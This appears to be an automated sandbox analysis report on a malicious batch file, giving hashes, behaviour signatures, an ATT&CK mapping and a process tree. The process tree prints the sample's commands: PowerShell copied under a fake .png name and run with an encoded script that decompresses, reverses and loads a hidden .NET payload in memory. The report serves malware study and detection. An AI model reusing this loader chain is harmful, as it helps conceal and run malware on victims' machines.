2540f753f4d625b2f7847e9bae744c56c37793e535ead58c0ece4a06a34c9043

General

Target

DOC.bat
Size

1013KB
MD5

63ea9acdff3fe07560351cca90577d8e
SHA1

cd34d68bedb135454ac0a69a9a18432eaa0ea68a
SHA256

805359e8add29af8ed6534df363b834315943a8d8af92579a660aa2645531086
SHA512

b7c96d4c88ee74f54d5936e4bfbf4f796bed17bde73cfd5e500f93b87e7259d1ba2529bebc117a45fd2fb6952a91b9efc4fd5039626bb22e98c3819f8f417644
SSDEEP

24576:Ha02wgz0sNZjcZ/zVRU3u0uTd2lKOXMe8GBySoC4FkQ:HwzdZ0zE8GVe

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2632	Qexknh.png

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2632	Qexknh.png

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2632	Qexknh.png

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2632	Qexknh.png

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 2104 wrote to memory of 3048	2104	cmd.exe	29
PID 2104 wrote to memory of 3048	2104	cmd.exe	29
PID 2104 wrote to memory of 3048	2104	cmd.exe	29
PID 2104 wrote to memory of 2848	2104	cmd.exe	30
PID 2104 wrote to memory of 2848	2104	cmd.exe	30
PID 2104 wrote to memory of 2848	2104	cmd.exe	30
PID 2104 wrote to memory of 2568	2104	cmd.exe	31
PID 2104 wrote to memory of 2568	2104	cmd.exe	31
PID 2104 wrote to memory of 2568	2104	cmd.exe	31
PID 2568 wrote to memory of 2584	2568	cmd.exe	34
PID 2568 wrote to memory of 2584	2568	cmd.exe	34
PID 2568 wrote to memory of 2584	2568	cmd.exe	34
PID 2568 wrote to memory of 2616	2568	cmd.exe	33
PID 2568 wrote to memory of 2616	2568	cmd.exe	33
PID 2568 wrote to memory of 2616	2568	cmd.exe	33
PID 2568 wrote to memory of 2604	2568	cmd.exe	35
PID 2568 wrote to memory of 2604	2568	cmd.exe	35
PID 2568 wrote to memory of 2604	2568	cmd.exe	35
PID 2568 wrote to memory of 2672	2568	cmd.exe	36
PID 2568 wrote to memory of 2672	2568	cmd.exe	36
PID 2568 wrote to memory of 2672	2568	cmd.exe	36
PID 2568 wrote to memory of 2632	2568	cmd.exe	37
PID 2568 wrote to memory of 2632	2568	cmd.exe	37
PID 2568 wrote to memory of 2632	2568	cmd.exe	37
PID 2568 wrote to memory of 2632	2568	cmd.exe	37

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo F "
  2⤵
  PID:3048
- C:\Windows\system32\xcopy.exe
  xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Qexknh.png
  2⤵
  PID:2848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\DOC.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2568
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Qexknh.png
    3⤵
    PID:2616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2604
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Users\Admin\AppData\Local\Temp\DOC.bat C:\Users\Admin\AppData\Local\Temp\Qexknh.png.bat
    3⤵
    PID:2672
- - C:\Users\Admin\AppData\Local\Temp\Qexknh.png
    C:\Users\Admin\AppData\Local\Temp\Qexknh.png -win 1 -enc JABWAG4AdABpAGEAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQAVABlAHoAYwBlAGQAegAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABWAG4AdABpAGEAKQA7ACQAVQBrAGYAZQB3AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAFQAZQB6AGMAZQBkAHoAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQATQBmAHAAYwBsAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVQBrAGYAZQB3AGUALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAE0AZgBwAGMAbABnAC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApADsAJABNAGYAcABjAGwAZwAuAEMAbABvAHMAZQAoACkAOwAkAFUAawBmAGUAdwBlAC4AQwBsAG8AcwBlACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAgACQAVABlAHoAYwBlAGQAegAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABUAGUAegBjAGUAZAB6ACkAOwAgACQAVAB5AHIAbABpAG0AZQByAG4AZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABUAGUAegBjAGUAZAB6ACkAOwAgACQAVgBrAHUAagB3AGMAeQBxAHQAYgBkACAAPQAgACQAVAB5AHIAbABpAG0AZQByAG4AZQAuAEcAZQB0AEUAeABwAG8AcgB0AGUAZABUAHkAcABlAHMAKAApAFsAMABdADsAIAAkAEsAYQBiAGMAcQB6ACAAPQAgACQAVgBrAHUAagB3AGMAeQBxAHQAYgBkAC4ARwBlAHQATQBlAHQAaABvAGQAcwAoACkAWwAwAF0ALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Qexknh.png

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Qexknh.png

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/2632-8-0x0000000074BC0000-0x000000007516B000-memory.dmp

Filesize
5.7MB

Download
memory/2632-10-0x00000000025B0000-0x00000000025F0000-memory.dmp

Filesize
256KB

Download
memory/2632-11-0x00000000025B0000-0x00000000025F0000-memory.dmp

Filesize
256KB

Download
memory/2632-9-0x0000000074BC0000-0x000000007516B000-memory.dmp

Filesize
5.7MB

Download
memory/2632-12-0x00000000025B0000-0x00000000025F0000-memory.dmp

Filesize
256KB

Download
memory/2632-13-0x0000000074BC0000-0x000000007516B000-memory.dmp

Filesize
5.7MB

Download

Analysis

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